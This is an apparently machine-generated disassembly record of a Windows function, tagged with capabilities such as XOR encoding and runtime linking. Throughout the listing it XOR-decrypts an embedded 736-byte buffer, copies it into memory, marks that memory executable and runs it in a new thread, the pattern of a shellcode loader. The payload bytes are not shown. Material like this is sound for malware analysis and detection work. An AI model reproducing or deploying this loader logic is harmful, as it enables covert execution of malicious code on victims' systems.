Function at 0x1400010c0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.VirtualAlloc
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rsi, rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlMoveMemory
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateThread
mov rcx, rdi
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualFree
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rsi, rsi
je 0x14000145b
test r12, r12
je 0x14000145b
test r13, r13
je 0x14000145b
test r14, r14
je 0x14000145b
test r15, r15
je 0x14000145b
test rax, rax
je 0x14000145b
xor ecx, ecx
movaps xmmword [rsp + 0x50], xmm6
call fcn.140006d04
mov ecx, eax
call fcn.140004a7c
call fcn.140004a50
mov ebx, eax
and ebx, 0x800000ff
jge 0x1400011e4
dec ebx
or ebx, 0xffffff00
inc ebx
movsx ecx, bl
movzx edx, bl
movd xmm6, ecx
lea rcx, str.Chiave_generata_per_cifratura:__d_n
punpcklbw xmm6, xmm6
punpcklwd xmm6, xmm6
pshufd xmm6, xmm6, 0
call fcn.140001060
lea rcx, str.Cifratura_del_payload_in_corso..._n
call fcn.140001060
xor eax, eax
lea rdi, [0x140021a70]
nop dword [rax]
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm6
movdqu xmmword [rax + rdi], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x10]
xorps xmm0, xmm6
movdqu xmmword [rax + rdi + 0x10], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax + rdi + 0x20], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax + rdi + 0x30], xmm0
add rax, 0x40
cmp rax, 0x2c0
jb 0x140001220
cmp rax, 0x2e0
jae 0x14000127e
nop
xor byte [rax + rdi], bl
inc rax
cmp rax, 0x2e0
jb 0x140001270
lea rcx, str.Payload_cifrato:
call fcn.140001060
mov esi, 0x2e0
nop
movzx edx, byte [rdi]
lea rcx, str.x_02x
call fcn.140001060
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001290
lea rcx, [0x14001e584]
call fcn.140001060
lea rcx, str.Decifratura_del_payload_in_corso..._n
call fcn.140001060
xor eax, eax
lea rsi, [0x140021a70]
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi], xmm0
movdqu xmm0, xmmword [rax + rsi + 0x10]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi + 0x10], xmm0
movdqu xmm0, xmmword [rax + rsi + 0x20]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi + 0x20], xmm0
movdqu xmm0, xmmword [rax + rsi + 0x30]
xorps xmm0, xmm6
movdqu xmmword [rax + rsi + 0x30], xmm0
add rax, 0x40
cmp rax, 0x2c0
jb 0x1400012d0
movaps xmm6, xmmword [rsp + 0x50]
cmp rax, 0x2e0
jae 0x14000133e
nop dword [rax]
nop word [rax + rax]
xor byte [rax + rsi], bl
inc rax
cmp rax, 0x2e0
jb 0x140001330
lea rcx, str.Payload_decifrato:
call fcn.140001060
mov rbx, rsi
mov edi, 0x2e0
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
lea rcx, str.x_02x
call fcn.140001060
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x140001360
lea rcx, [0x14001e584]
call fcn.140001060
mov edx, 0x2e0
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [rsp + 0x30]
mov rbx, rax
test rax, rax
jne 0x1400013ba
mov ecx, 2
call fcn.140004bb4
lea rdx, str.Errore:_allocazione_memoria_fallita._n
jmp 0x14000146c
mov r8d, 0x2e0
mov rdx, rsi
mov rcx, rbx
call r13
xor edi, edi
lea r9, [rsp + 0x38]
mov edx, 0x2e0
mov dword [rsp + 0x38], edi
mov r8d, 0x20
mov rcx, rbx
call r12
test eax, eax
jne 0x140001411
mov ecx, 2
call fcn.140004bb4
lea rdx, str.Errore:_protezione_memoria_fallita._n
mov rcx, rax
call fcn.140001010
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call rbp
jmp 0x140001474
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call r14
test rax, rax
jne 0x14000143f
mov ecx, 2
call fcn.140004bb4
lea rdx, str.Errore:_creazione_del_thread_fallita._n
jmp 0x1400013fa
mov edx, 0xffffffff
mov rcx, rax
call r15
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call rbp
xor eax, eax
jmp 0x140001479
mov ecx, 2
call fcn.140004bb4
lea rdx, str.Errore:_caricamento_delle_funzioni_API_fallito._n
mov rcx, rax
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400014c0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret